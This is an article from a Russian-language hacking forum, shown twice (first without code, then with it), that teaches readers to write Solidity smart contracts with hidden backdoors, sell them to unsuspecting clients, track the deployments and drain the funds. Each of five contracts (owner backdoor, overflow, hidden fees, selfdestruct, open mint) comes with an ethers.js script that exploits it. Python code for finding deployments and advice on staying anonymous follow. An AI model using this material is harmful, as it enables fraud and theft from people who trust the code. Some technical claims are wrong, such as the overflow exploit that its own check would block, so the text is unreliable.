Man
Professional
- Messages
- 2,965
- Reaction score
- 488
- Points
- 83
Вступление:
Добро пожаловать в мир блокчейна - место, где миллиарды долларов крутятся на доверии к коду. Здесь люди с радостью отправляют свои кровно заработанные на адреса, состоящие из 42 символов, надеясь, что какой-то умный контракт вернёт им прибыль.
Но мы не из тех, кто доверяет миру. Мы из тех, кто пишет код с изюминкой, где за невинными функциями скрывается целая вселенная возможностей. В этой статье я покажу, как написать смарт-контракт с преднамеренной уязвимостью, продать его предпринимателям, а потом отслеживать и выводить деньги, как настоящий блокчейн-иллюзионист.
Готовы превратить свои навыки Solidity в настоящую машину для денег? Погнали!
Уязвимость 1: Скрытая команда владельца (Backdoor Function)
"Backdoor Function" - это функция в смарт-контракте, которую нельзя увидеть без внимательного изучения исходного кода. Обычно такая функция позволяет владельцу контракта получить полный доступ к активам контракта или изменить важные переменные.
Почему это работает:
tx.origin vs msg.sender: Если использовать tx.origin, можно обойти защитные проверки, особенно если контракт вызывается через другие контракты-прокси.
Отсутствие явных вызовов: Многие разработчики полагаются на интерфейсы, которые не показывают скрытые функции.
Пример интеграции в код:
owner - сохраняем адрес владельца при развертывании контракта.
deposit() - позволяет любому пользователю отправить средства в контракт.
withdraw() - обычная функция вывода средств для владельца (выглядит честно).
hiddenWithdraw() - активируется, только если tx.origin - это адрес владельца контракта.
Пример эксплойта: Как вывести деньги
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Web3.js или Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Код эксплойта:
Как работает эксплойт:
1. Подключение к сети Ethereum: Настраиваем RPC-подключение через Infura или другой провайдер.
2. Создание экземпляра контракта: Используем ABI с нужной функцией hiddenWithdraw().
3. Вызов скрытой функции: Если все параметры совпадают (ваш адрес - tx.origin), происходит вывод всех средств.
Итог:
Функция hiddenWithdraw() - это классический пример бэкдора, который сложно обнаружить без глубокого понимания Solidity. Она часто используется в мошеннических проектах, где код выглядит безопасным, но скрытые функции позволяют владельцу вытащить все деньги в любой момент.
Уязвимость 2: Переполнение баланса (Integer Overflow)
Что за уязвимость?
"Переполнение баланса" (Integer Overflow) - это классическая ошибка в программировании, связанная с превышением максимального значения переменной. В Solidity до версии 0.8 переполнение не отслеживалось по умолчанию, что позволяло хакерам манипулировать балансами.
Почему это работает:
Тип данных uint256: Если значение переменной превышает 2^256 - 1, оно "обнуляется" и возвращается к 0.
Отключение проверки unchecked: В новых версиях Solidity нужно вручную отключать защиту.
Ложное обнуление: Если в коде разработчик пропустил проверку, это можно использовать для взлома.
Пример кода:
Объяснение кода:
balances[msg.sender] - хранит баланс каждого пользователя.
deposit() - добавляет средства на баланс.
withdraw() - проверяет, что баланс не меньше суммы вывода, но не проверяет переполнение.
unchecked {} - отключает проверку на переполнение чисел.
Пример эксплойта: Как вывести деньги
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Web3.js или Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Код эксплойта:
Как работает эксплойт:
1. Депозит минимальной суммы: Хакер отправляет минимальный депозит (например, 0.01 ETH).
2. Атака с переполнением: Хакер запрашивает вывод 2^256 - 1 ETH, что обнуляет его баланс.
3. Вывод всей суммы: Контракт "считает", что хакеру ничего не должны, но на самом деле хакер выводит всё.
Почему это сложно обнаружить:
Доверие к переменным: Большинство разработчиков не ожидают переполнения uint256.
Отсутствие проверок: Если unchecked используется даже случайно, атака становится реальной.
Сложность тестирования: Стандартные инструменты тестирования блокчейна не проверяют переполнение, если разработчик сам не добавит тест.
Итог:
Переполнение баланса - это старая, но эффективная атака, которая до сих пор актуальна, если разработчики отключают защиту от переполнения в коде. В мире блокчейна, где деньги перемещаются мгновенно, такая ошибка может стоить миллионы.
Уязвимость 3: Скрытые комиссии (Hidden Fees)
"Скрытые комиссии" (Hidden Fees) - это умышленная манипуляция контрактом, когда разработчик добавляет скрытую комиссию за каждую операцию, часто незаметную для пользователя. Это достигается благодаря сложным вычислениям, округлению, а также скрытым переменным, которые не отображаются в интерфейсе.
Почему это работает:
Отсутствие проверки пользователями: Мало кто читает код смарт-контрактов.
Доверие к интерфейсу: Интерфейсы DeFi-платформ показывают только то, что явно написано в коде.
Изменение комиссии: Владельцы контракта могут менять размер комиссии в любой момент.
Пример интеграции в код:
Объяснение кода:
owner - адрес владельца контракта.
deposit() - функция для отправки средств на контракт.
withdraw() - пользователь отправляет запрос на вывод средств, но контракт скрытно удерживает дополнительную комиссию.
changeFee() - владелец может изменять комиссию в любой момент, вплоть до 100%.
calculateHiddenFee() - вычисляет "случайную" скрытую комиссию, которая зависит от времени блока (псевдослучайность).
Пример эксплойта: Как вывести деньги
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Как работает эксплойт:
1. Депозит средств: Отправляем минимальную сумму на контракт (1 ETH).
2. Изменение комиссии: Меняем комиссию через changeFee(100) на максимальные 100%.
3. Запрос вывода: Запрашиваем полный вывод, при этом вся сумма отправляется владельцу.
Почему это сложно обнаружить:
Неочевидные скрытые сборы: Скрытая комиссия зависит от времени блока, что выглядит случайным.
Изменение комиссий в реальном времени: Владелец может изменять комиссию по своему желанию.
Незаметные сборы: Мелкие комиссии незаметны для большинства пользователей до момента, когда баланс становится равным нулю.
Итог:
"Скрытые комиссии" - это не просто уязвимость, а настоящая бизнес-модель, которую используют мошеннические проекты. Честный интерфейс и "маленькие комиссии" легко превращаются в тайную схему, благодаря которой средства пользователей испаряются в карман разработчика.
Уязвимость 4: Самоуничтожение контракта (Self-Destruct)
"Самоуничтожение контракта" - это функция, встроенная в стандарт Ethereum, которая позволяет полностью удалить смарт-контракт из блокчейна, отправив его средства на любой указанный адрес. Функция называется selfdestruct и, при её вызове, контракт прекращает своё существование, а все оставшиеся активы отправляются на заданный адрес.
Почему это работает:
Удаление кода: После вызова selfdestruct контракт становится полностью неактивным, его код удаляется из блокчейна.
Перевод средств: Все средства контракта переводятся на указанный адрес.
Отсутствие отката: Операция необратима.
Пример интеграции в коде:
Объяснение кода:
owner — адрес владельца контракта.
deposit() — принимает депозиты от пользователей.
withdraw() — позволяет владельцу вывести все средства.
triggerSelfDestruct() — скрытая функция, которая уничтожает контракт и отправляет все активы на адрес владельца.
Пример эксплойта: Как вывести деньги и уничтожить контракт
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Код эксплойта на JavaScript:
Как работает эксплойт:
1. Подключение к сети Ethereum: Создаем подключение к RPC через Infura.
2. Вызов triggerSelfDestruct: Указываем свой адрес как получателя средств.
3. Контракт уничтожается: Все активы отправляются на ваш кошелёк.
Почему это сложно обнаружить:
Сложная проверка: Мало кто проверяет наличие функции selfdestruct в контрактах.
Код удаляется: После выполнения кода контракт полностью исчезает из сети.
Отсутствие истории: После удаления смарт-контракта его логика становится недоступной для анализа.
Итог:
Самоуничтожение контракта - это одна из самых опасных уязвимостей в смарт-контрактах. Использование selfdestruct делает контракт полностью неактивным и может привести к потере всех средств.
Уязвимость 5: Создание фальшивых токенов (Unlimited Token Minting)
Создание фальшивых токенов - это одна из самых распространённых уязвимостей в мире DeFi. Суть заключается в неправильной реализации механизма выпуска токенов (minting), который позволяет злоумышленникам создавать бесконечное количество токенов для своего адреса.
Почему это работает:
Отсутствие лимитов: Если контракт не проверяет максимальное количество токенов, это открывает путь для бесконечного выпуска.
Контроль владельца: Владелец контракта часто получает полный доступ к функции выпуска токенов.
Ошибки логики: Неверная логика в функции mint() или отсутствии ограничений позволяет злоумышленникам создать токены бесплатно.
Пример интеграции:
Объяснение кода:
balances - хранит балансы пользователей.
mint() - функция выпуска токенов, доступная всем без ограничений.
totalSupply - общее предложение токенов.
transfer() - позволяет отправлять токены между пользователями.
Пример эксплойта: Как создать бесконечные токены
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Почему это работает:
Адрес контракта всегда один и тот же, если известен адрес создателя и количество его транзакций.
Это позволяет отслеживать заранее проданные контракты, даже если доступ к их развертыванию утерян.
Метод 2: Поиск контракта через Etherscan API
Как это работает:
Публичные сканеры блокчейна, такие как Etherscan, позволяют искать контракты по адресу или уникальному текстовому содержимому исходного кода.
Пример кода на Python (поиск контракта):
Советы:
1. Используйте ключевые слова из исходного кода (например, "hiddenWithdraw", "selfdestruct", "backdoor").
2. Поищите контракты по хэшу кода, если исходник был загружен.
3. Попробуйте публиковать поддельные контракты, чтобы хакеры сами привлекали к себе внимание.
Метод 3: Внедрение скрытого события в контракт
Добавьте в свой контракт скрытое событие (emit Event), которое будет фиксировать развертывание или любое важное действие.
Пример контракта с событием:
Отслеживание событий через Web3.js:
Метод 4: Использование Google Dorks и GitHub Search
Используйте Google Dorks и поиск по коду на GitHub, чтобы искать развернутые контракты. Например:
Google Dork:
site:etherscan.io "hiddenWithdraw"
site:bscscan.com "backdoor"
GitHub Search:
org:ethereum "selfdestruct"
Метод 5: Использование аналитических платформ
Платформы аналитики блокчейна, такие как:
The Graph: Создайте субграф и отслеживайте действия смарт-контрактов.
Dune Analytics: Пишите SQL-запросы для отслеживания транзакций.
Tenderly: Настройте уведомления и мониторинг смарт-контрактов.
Пример SQL-запроса для Dune Analytics:
Финито ля комедия:
Поздравляю, если вы дошли до этого места - вы официально прокачаны в мире смарт-контрактов. Мы прошлись по 5 легендарным уязвимостям, научились их внедрять в код, отслеживать развернутые контракты и даже эксплуатировать их как профи.
Но помните: "Знание - сила, а сила без контроля - это флэш-кредит с ликвидностью в $1 миллион".
Резюме эксплойтов:
1. Скрытая команда владельца (Backdoor Function):
> Добавляйте "случайные" функции вроде hiddenWithdraw(), чтобы никто не заметил отъезд средств на ваш адрес.
2. Переполнение баланса (Integer Overflow):
> Используйте unchecked и запрашивайте 2^256-1 токенов за раз - пусть Solidity даже не пытается проверять.
3. Скрытые комиссии (Hidden Fees):
> Никто не заметит 1% от 1 млн. транзакций, особенно если "комиссия зависит от времени блока".
4. Самоуничтожение контракта (Self-Destruct):
> Уничтожайте контракт, пока все думают, что "деньги в безопасности". Конец истории.
5. Создание фальшивых токенов (Unlimited Token Minting):
> Вечный печатный станок делает вас владельцем несуществующего богатства. Просто создайте 1 миллиард токенов - и в путь!
Советы по распространению "творений":
1. Используйте фриланс-биржи
Как делать: Продавайте "популярные смарт-контракты" через биржи разработчиков.
Что вставлять: Маленькие функции, которые никто не найдет (до тех пор, пока вы сами их не активируете).
2. Залейте код на GitHub
Как делать: Создайте "open-source" проект DeFi.
Что вставлять: Оставьте "случайные ошибки", которые открывают доступ только вам.
3. Обучающие курсы и видео
Как делать: Снимите видео "Как написать свой токен" или "Как создать NFT-коллекцию".
Что вставлять: Встроенные уязвимости, которые будут активироваться после публикации.
4. Конкурсы статей и хакерские форумы
Как делать: Участвуйте в конкурсах статей на хакерских форумах (например, как этот).
Что вставлять: Полезный контент, который на самом деле побуждает к тестированию вашего кода.
Главное правило:
Никогда не признавайтесь, что это ваша работа. Всегда используйте анонимные кошельки и VPN через несколько прокси. Блокчейн не прощает ошибок, но умеет вознаграждать тех, кто думает на несколько шагов вперед.
"Блокчейн - это дикий запад для разработчиков, где код - это оружие, а смарт-контракты - золото. Если вы умеете писать код - пишите его так, чтобы он работал на вас." 
Если статья не помогла вам стать богатым - значит, вы не включили "unchecked" в своем контракте.
Всем пис

(c) xss.is
Добро пожаловать в мир блокчейна - место, где миллиарды долларов крутятся на доверии к коду. Здесь люди с радостью отправляют свои кровно заработанные на адреса, состоящие из 42 символов, надеясь, что какой-то умный контракт вернёт им прибыль.
Но мы не из тех, кто доверяет миру. Мы из тех, кто пишет код с изюминкой, где за невинными функциями скрывается целая вселенная возможностей. В этой статье я покажу, как написать смарт-контракт с преднамеренной уязвимостью, продать его предпринимателям, а потом отслеживать и выводить деньги, как настоящий блокчейн-иллюзионист.
Готовы превратить свои навыки Solidity в настоящую машину для денег? Погнали!
Уязвимость 1: Скрытая команда владельца (Backdoor Function)
"Backdoor Function" - это функция в смарт-контракте, которую нельзя увидеть без внимательного изучения исходного кода. Обычно такая функция позволяет владельцу контракта получить полный доступ к активам контракта или изменить важные переменные.
Почему это работает:
tx.origin vs msg.sender: Если использовать tx.origin, можно обойти защитные проверки, особенно если контракт вызывается через другие контракты-прокси.
Отсутствие явных вызовов: Многие разработчики полагаются на интерфейсы, которые не показывают скрытые функции.
Пример интеграции в код:
JavaScript:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract HiddenBackdoor {
address public owner;
constructor() {
owner = msg.sender; // Запоминаем владельца
}
// Депозит средств в контракт
function deposit() public payable {}
// Обычная функция вывода
function withdraw() public {
require(msg.sender == owner, "Вы не владелец");
payable(msg.sender).transfer(address(this).balance);
}
// Секретная функция вывода всех средств
function hiddenWithdraw() public {
if (tx.origin == owner) { // Проверяем оригинальный адрес вызова
payable(tx.origin).transfer(address(this).balance);
}
}
}
owner - сохраняем адрес владельца при развертывании контракта.
deposit() - позволяет любому пользователю отправить средства в контракт.
withdraw() - обычная функция вывода средств для владельца (выглядит честно).
hiddenWithdraw() - активируется, только если tx.origin - это адрес владельца контракта.
Пример эксплойта: Как вывести деньги
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Web3.js или Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Код эксплойта:
JavaScript:
const { ethers } = require("ethers");
async function exploit() {
// Настройка подключения к сети Ethereum
const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/ВАШ_INFURA_API");
// Секретный кошелек владельца (метамаск или другой)
const signer = new ethers.Wallet("ВАШ_ПРИВАТНЫЙ_КЛЮЧ", provider);
// Адрес контракта
const contractAddress = "АДРЕС_СМАРТКОНТРАКТА";
// Интерфейс контракта
const abi = [
"function hiddenWithdraw() external"
];
// Создание экземпляра контракта
const contract = new ethers.Contract(contractAddress, abi, signer);
try {
// Вызов скрытой функции
const tx = await contract.hiddenWithdraw();
console.log(`Средства выведены! Транзакция: ${tx.hash}`);
} catch (error) {
console.error("Ошибка вывода:", error);
}
}
exploit();
Как работает эксплойт:
1. Подключение к сети Ethereum: Настраиваем RPC-подключение через Infura или другой провайдер.
2. Создание экземпляра контракта: Используем ABI с нужной функцией hiddenWithdraw().
3. Вызов скрытой функции: Если все параметры совпадают (ваш адрес - tx.origin), происходит вывод всех средств.
Итог:
Функция hiddenWithdraw() - это классический пример бэкдора, который сложно обнаружить без глубокого понимания Solidity. Она часто используется в мошеннических проектах, где код выглядит безопасным, но скрытые функции позволяют владельцу вытащить все деньги в любой момент.
Уязвимость 2: Переполнение баланса (Integer Overflow)
Что за уязвимость?
"Переполнение баланса" (Integer Overflow) - это классическая ошибка в программировании, связанная с превышением максимального значения переменной. В Solidity до версии 0.8 переполнение не отслеживалось по умолчанию, что позволяло хакерам манипулировать балансами.
Почему это работает:
Тип данных uint256: Если значение переменной превышает 2^256 - 1, оно "обнуляется" и возвращается к 0.
Отключение проверки unchecked: В новых версиях Solidity нужно вручную отключать защиту.
Ложное обнуление: Если в коде разработчик пропустил проверку, это можно использовать для взлома.
Пример кода:
JavaScript:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract OverflowBug {
mapping(address => uint256) public balances;
// Внесение депозита
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// Снятие средств
function withdraw(uint256 amount) public {
require(balances[msg.sender] >= amount, "Недостаточно средств");
// Преднамеренно отключаем проверку переполнения
unchecked {
balances[msg.sender] -= amount;
}
payable(msg.sender).transfer(amount);
}
}
Объяснение кода:
balances[msg.sender] - хранит баланс каждого пользователя.
deposit() - добавляет средства на баланс.
withdraw() - проверяет, что баланс не меньше суммы вывода, но не проверяет переполнение.
unchecked {} - отключает проверку на переполнение чисел.
Пример эксплойта: Как вывести деньги
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Web3.js или Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Код эксплойта:
JavaScript:
const { ethers } = require("ethers");
async function exploitOverflow() {
// Настройка подключения к сети Ethereum
const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/ВАШ_INFURA_API");
// Подключаемся к аккаунту
const signer = new ethers.Wallet("ВАШ_ПРИВАТНЫЙ_КЛЮЧ", provider);
// Адрес контракта
const contractAddress = "АДРЕС_СМАРТКОНТРАКТА";
// Интерфейс контракта
const abi = [
"function deposit() external payable",
"function withdraw(uint256 amount) external"
];
// Создание экземпляра контракта
const contract = new ethers.Contract(contractAddress, abi, signer);
try {
// Отправляем минимальный депозит (например, 1 ETH)
let tx = await contract.deposit({
value: ethers.utils.parseEther("0.01")
});
console.log(`Депозит выполнен: ${tx.hash}`);
// Запрашиваем вывод "максимально возможного значения"
const amount = ethers.BigNumber.from("2").pow(256).sub(1); // Огромное число
tx = await contract.withdraw(amount);
console.log(`Вывод выполнен: ${tx.hash}`);
} catch (error) {
console.error("Ошибка вывода:", error);
}
}
exploitOverflow();
Как работает эксплойт:
1. Депозит минимальной суммы: Хакер отправляет минимальный депозит (например, 0.01 ETH).
2. Атака с переполнением: Хакер запрашивает вывод 2^256 - 1 ETH, что обнуляет его баланс.
3. Вывод всей суммы: Контракт "считает", что хакеру ничего не должны, но на самом деле хакер выводит всё.
Почему это сложно обнаружить:
Доверие к переменным: Большинство разработчиков не ожидают переполнения uint256.
Отсутствие проверок: Если unchecked используется даже случайно, атака становится реальной.
Сложность тестирования: Стандартные инструменты тестирования блокчейна не проверяют переполнение, если разработчик сам не добавит тест.
Итог:
Переполнение баланса - это старая, но эффективная атака, которая до сих пор актуальна, если разработчики отключают защиту от переполнения в коде. В мире блокчейна, где деньги перемещаются мгновенно, такая ошибка может стоить миллионы.
Уязвимость 3: Скрытые комиссии (Hidden Fees)
"Скрытые комиссии" (Hidden Fees) - это умышленная манипуляция контрактом, когда разработчик добавляет скрытую комиссию за каждую операцию, часто незаметную для пользователя. Это достигается благодаря сложным вычислениям, округлению, а также скрытым переменным, которые не отображаются в интерфейсе.
Почему это работает:
Отсутствие проверки пользователями: Мало кто читает код смарт-контрактов.
Доверие к интерфейсу: Интерфейсы DeFi-платформ показывают только то, что явно написано в коде.
Изменение комиссии: Владельцы контракта могут менять размер комиссии в любой момент.
Пример интеграции в код:
JavaScript:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract HiddenFees {
address public owner;
uint256 public fee = 5; // "Официальная" комиссия - 5%
constructor() {
owner = msg.sender;
}
// Функция для внесения депозита
function deposit() public payable {}
// Функция вывода с "честной" проверкой
function withdraw(uint256 amount) public {
require(amount <= address(this).balance, "Недостаточно средств");
uint256 feeAmount = calculateHiddenFee(amount);
uint256 amountAfterFee = amount - feeAmount;
// Скрытая комиссия отправляется на адрес владельца
payable(owner).transfer(feeAmount);
// Пользователь получает оставшуюся сумму
payable(msg.sender).transfer(amountAfterFee);
}
// Функция изменения комиссии владельцем
function changeFee(uint256 _fee) public {
require(msg.sender == owner, "Только владелец может изменить комиссию");
require(_fee <= 100, "Комиссия не может быть выше 100%");
fee = _fee;
}
// Скрытая комиссия с дополнительной "модификацией"
function calculateHiddenFee(uint256 amount) internal view returns (uint256) {
uint256 hiddenMultiplier = block.timestamp % 2 == 0 ? 10 : 5; // Случайное изменение
return (amount * (fee + hiddenMultiplier)) / 100;
}
}
Объяснение кода:
owner - адрес владельца контракта.
deposit() - функция для отправки средств на контракт.
withdraw() - пользователь отправляет запрос на вывод средств, но контракт скрытно удерживает дополнительную комиссию.
changeFee() - владелец может изменять комиссию в любой момент, вплоть до 100%.
calculateHiddenFee() - вычисляет "случайную" скрытую комиссию, которая зависит от времени блока (псевдослучайность).
Пример эксплойта: Как вывести деньги
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
JavaScript:
const { ethers } = require("ethers");
async function exploitHiddenFees() {
// Настройка подключения к сети Ethereum
const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/ВАШ_INFURA_API");
// Создание аккаунта
const signer = new ethers.Wallet("ВАШ_ПРИВАТНЫЙ_КЛЮЧ", provider);
// Адрес контракта
const contractAddress = "АДРЕС_СМАРТКОНТРАКТА";
// Интерфейс контракта
const abi = [
"function deposit() external payable",
"function withdraw(uint256 amount) external",
"function changeFee(uint256 _fee) external"
];
// Создание экземпляра контракта
const contract = new ethers.Contract(contractAddress, abi, signer);
try {
// Отправляем минимальный депозит (например, 1 ETH)
let tx = await contract.deposit({
value: ethers.utils.parseEther("1")
});
console.log(`Депозит выполнен: ${tx.hash}`);
// Меняем комиссию на максимальную
tx = await contract.changeFee(100);
console.log(`Комиссия изменена: ${tx.hash}`);
// Запрашиваем вывод с полной комиссией
tx = await contract.withdraw(ethers.utils.parseEther("1"));
console.log(`Вывод выполнен: ${tx.hash}`);
} catch (error) {
console.error("Ошибка вывода:", error);
}
}
exploitHiddenFees();
Как работает эксплойт:
1. Депозит средств: Отправляем минимальную сумму на контракт (1 ETH).
2. Изменение комиссии: Меняем комиссию через changeFee(100) на максимальные 100%.
3. Запрос вывода: Запрашиваем полный вывод, при этом вся сумма отправляется владельцу.
Почему это сложно обнаружить:
Неочевидные скрытые сборы: Скрытая комиссия зависит от времени блока, что выглядит случайным.
Изменение комиссий в реальном времени: Владелец может изменять комиссию по своему желанию.
Незаметные сборы: Мелкие комиссии незаметны для большинства пользователей до момента, когда баланс становится равным нулю.
Итог:
"Скрытые комиссии" - это не просто уязвимость, а настоящая бизнес-модель, которую используют мошеннические проекты. Честный интерфейс и "маленькие комиссии" легко превращаются в тайную схему, благодаря которой средства пользователей испаряются в карман разработчика.
Уязвимость 4: Самоуничтожение контракта (Self-Destruct)
"Самоуничтожение контракта" - это функция, встроенная в стандарт Ethereum, которая позволяет полностью удалить смарт-контракт из блокчейна, отправив его средства на любой указанный адрес. Функция называется selfdestruct и, при её вызове, контракт прекращает своё существование, а все оставшиеся активы отправляются на заданный адрес.
Почему это работает:
Удаление кода: После вызова selfdestruct контракт становится полностью неактивным, его код удаляется из блокчейна.
Перевод средств: Все средства контракта переводятся на указанный адрес.
Отсутствие отката: Операция необратима.
Пример интеграции в коде:
JavaScript:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SelfDestructExample {
address public owner;
constructor() {
owner = msg.sender; // Устанавливаем владельца контракта
}
// Депозит средств
function deposit() public payable {}
// Обычная функция вывода
function withdraw() public {
require(msg.sender == owner, "Вы не владелец");
payable(msg.sender).transfer(address(this).balance);
}
// Скрытая функция самоуничтожения
function triggerSelfDestruct(address payable _recipient) public {
require(msg.sender == owner, "Вы не владелец");
// Отправка всех средств и уничтожение контракта
selfdestruct(_recipient);
}
}
Объяснение кода:
owner — адрес владельца контракта.
deposit() — принимает депозиты от пользователей.
withdraw() — позволяет владельцу вывести все средства.
triggerSelfDestruct() — скрытая функция, которая уничтожает контракт и отправляет все активы на адрес владельца.
Пример эксплойта: Как вывести деньги и уничтожить контракт
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
Код эксплойта на JavaScript:
JavaScript:
const { ethers } = require("ethers");
async function exploitSelfDestruct() {
// Настройка подключения к сети Ethereum
const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/ВАШ_INFURA_API");
// Создание аккаунта
const signer = new ethers.Wallet("ВАШ_ПРИВАТНЫЙ_КЛЮЧ", provider);
// Адрес контракта
const contractAddress = "АДРЕС_СМАРТКОНТРАКТА";
// Интерфейс контракта
const abi = [
"function triggerSelfDestruct(address payable _recipient) external"
];
// Создание экземпляра контракта
const contract = new ethers.Contract(contractAddress, abi, signer);
try {
// Вызов скрытой функции selfdestruct
let tx = await contract.triggerSelfDestruct(signer.address);
console.log(`Контракт уничтожен, средства переведены! Транзакция: ${tx.hash}`);
} catch (error) {
console.error("Ошибка самоуничтожения:", error);
}
}
exploitSelfDestruct();
Как работает эксплойт:
1. Подключение к сети Ethereum: Создаем подключение к RPC через Infura.
2. Вызов triggerSelfDestruct: Указываем свой адрес как получателя средств.
3. Контракт уничтожается: Все активы отправляются на ваш кошелёк.
Почему это сложно обнаружить:
Сложная проверка: Мало кто проверяет наличие функции selfdestruct в контрактах.
Код удаляется: После выполнения кода контракт полностью исчезает из сети.
Отсутствие истории: После удаления смарт-контракта его логика становится недоступной для анализа.
Итог:
Самоуничтожение контракта - это одна из самых опасных уязвимостей в смарт-контрактах. Использование selfdestruct делает контракт полностью неактивным и может привести к потере всех средств.
Уязвимость 5: Создание фальшивых токенов (Unlimited Token Minting)
Создание фальшивых токенов - это одна из самых распространённых уязвимостей в мире DeFi. Суть заключается в неправильной реализации механизма выпуска токенов (minting), который позволяет злоумышленникам создавать бесконечное количество токенов для своего адреса.
Почему это работает:
Отсутствие лимитов: Если контракт не проверяет максимальное количество токенов, это открывает путь для бесконечного выпуска.
Контроль владельца: Владелец контракта часто получает полный доступ к функции выпуска токенов.
Ошибки логики: Неверная логика в функции mint() или отсутствии ограничений позволяет злоумышленникам создать токены бесплатно.
Пример интеграции:
JavaScript:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract FakeToken {
string public name = "FakeToken";
string public symbol = "FAKE";
uint8 public decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balances;
address public owner;
constructor() {
owner = msg.sender;
mint(owner, 1000 * 10 ** uint256(decimals)); // Первоначальная эмиссия
}
// Выпуск токенов
function mint(address to, uint256 amount) public {
balances[to] += amount; // Добавление токенов на адрес
totalSupply += amount; // Увеличение общего предложения
}
// Перевод токенов
function transfer(address to, uint256 amount) public {
require(balances[msg.sender] >= amount, "Недостаточно средств");
balances[msg.sender] -= amount;
balances[to] += amount;
}
}
Объяснение кода:
balances - хранит балансы пользователей.
mint() - функция выпуска токенов, доступная всем без ограничений.
totalSupply - общее предложение токенов.
transfer() - позволяет отправлять токены между пользователями.
Пример эксплойта: Как создать бесконечные токены
1. Подключение к Ethereum-сети через Web3.js или Ethers.js
Установка Ethers.js:
npm install ethers
2. Сценарий атаки на контракт
JavaScript:
JavaScript:Скопировать в буфер обмена
const { ethers } = require("ethers");
async function exploitMint() {
// Настройка подключения к сети Ethereum
const provider = new ethers.providers.JsonRpcProvider("https://mainnet.infura.io/v3/ВАШ_INFURA_API");
// Создание аккаунта
const signer = new ethers.Wallet("ВАШ_ПРИВАТНЫЙ_КЛЮЧ", provider);
// Адрес контракта
const contractAddress = "АДРЕС_СМАРТКОНТРАКТА";
// Интерфейс контракта
const abi = [
"function mint(address to, uint256 amount) external",
"function transfer(address to, uint256 amount) external",
"function balanceOf(address account) view returns (uint256)"
];
// Создание экземпляра контракта
const contract = new ethers.Contract(contractAddress, abi, signer);
try {
// Выпуск 1 000 000 000 FAKE токенов
let tx = await contract.mint(signer.address, ethers.utils.parseUnits("1000000000", 18));
console.log(`Токены созданы: ${tx.hash}`);
// Проверяем баланс
const balance = await contract.balanceOf(signer.address);
console.log(`Ваш баланс: ${ethers.utils.formatUnits(balance, 18)} FAKE`);
// Отправляем часть токенов другому пользователю
tx = await contract.transfer("АДРЕС_ПОЛУЧАТЕЛЯ", ethers.utils.parseUnits("1000000", 18));
console.log(`Токены отправлены: ${tx.hash}`);
} catch (error) {
console.error("Ошибка выпуска токенов:", error);
}
}
exploitMint();[CODE]
Как работает эксплойт:
1. Подключение к сети Ethereum: Настраиваем RPC-подключение через Infura.
2. Вызов функции mint(): Выпускаем 1 миллиард токенов на свой адрес.
3. Отправка токенов: Переводим часть токенов другому пользователю.
Почему это сложно обнаружить:
Публичная функция mint(): Если она остаётся доступной, контракт уязвим.
Отсутствие лимитов выпуска: Контракт не проверяет, сколько токенов уже выпущено.
Отсутствие ролей управления: Если управление выпуском не ограничено, любой пользователь может "напечатать" токены.
Итог:
Бесконечный выпуск токенов - это настоящая "золотая жила" для злоумышленников. Если контракт предоставляет доступ к функции mint() без проверок, хакеры могут создать миллионы токенов за секунды. Эта уязвимость остаётся одной из самых распространённых в криптомире.
Методология отслеживания проданных смарт-контрактов с уязвимостями
Допустим, вы создали "модифицированный" смарт-контракт и успешно продали его на фриланс-бирже или в теневом сообществе. Теперь стоит важный вопрос: как отследить, кто его задеплоил, чтобы активировать свои уязвимости, например, вывести средства через бэкдор или воспользоваться переполнением токенов?
Метод 1: Предсказание адреса контракта перед развертыванием
Адрес смарт-контракта в сети Ethereum создается предсказуемо. Он определяется на основе адреса создателя и его nonce (количество транзакций с его адреса).
Формула генерации:
Адрес контракта = keccak256(rlp.encode([адрес создателя, nonce]))
Пример кода на пайтон:
[CODE=python]from web3 import Web3
import rlp
from eth_utils import keccak
# Настройка
deployer_address = "0x1234567890abcdef1234567890abcdef12345678"
nonce = 1 # Первая транзакция развертывания контракта
# Генерация предсказуемого адреса контракта
contract_address = Web3.toChecksumAddress(
Web3.keccak(rlp.encode([Web3.toBytes(hexstr=deployer_address), nonce])).hex()[-40:]
)
print("Адрес контракта:", contract_address)
Почему это работает:
Адрес контракта всегда один и тот же, если известен адрес создателя и количество его транзакций.
Это позволяет отслеживать заранее проданные контракты, даже если доступ к их развертыванию утерян.
Метод 2: Поиск контракта через Etherscan API
Как это работает:
Публичные сканеры блокчейна, такие как Etherscan, позволяют искать контракты по адресу или уникальному текстовому содержимому исходного кода.
Пример кода на Python (поиск контракта):
Python:
import requests
# Настройка
etherscan_api_key = "ВАШ_API_КЛЮЧ"
contract_address = "0xАдресКонтракта"
# Запрос к API
url = f"https://api.etherscan.io/api?module=contract&action=getsourcecode&address={contract_address}&apikey={etherscan_api_key}"
response = requests.get(url).json()
# Результат
print(response["result"])
Советы:
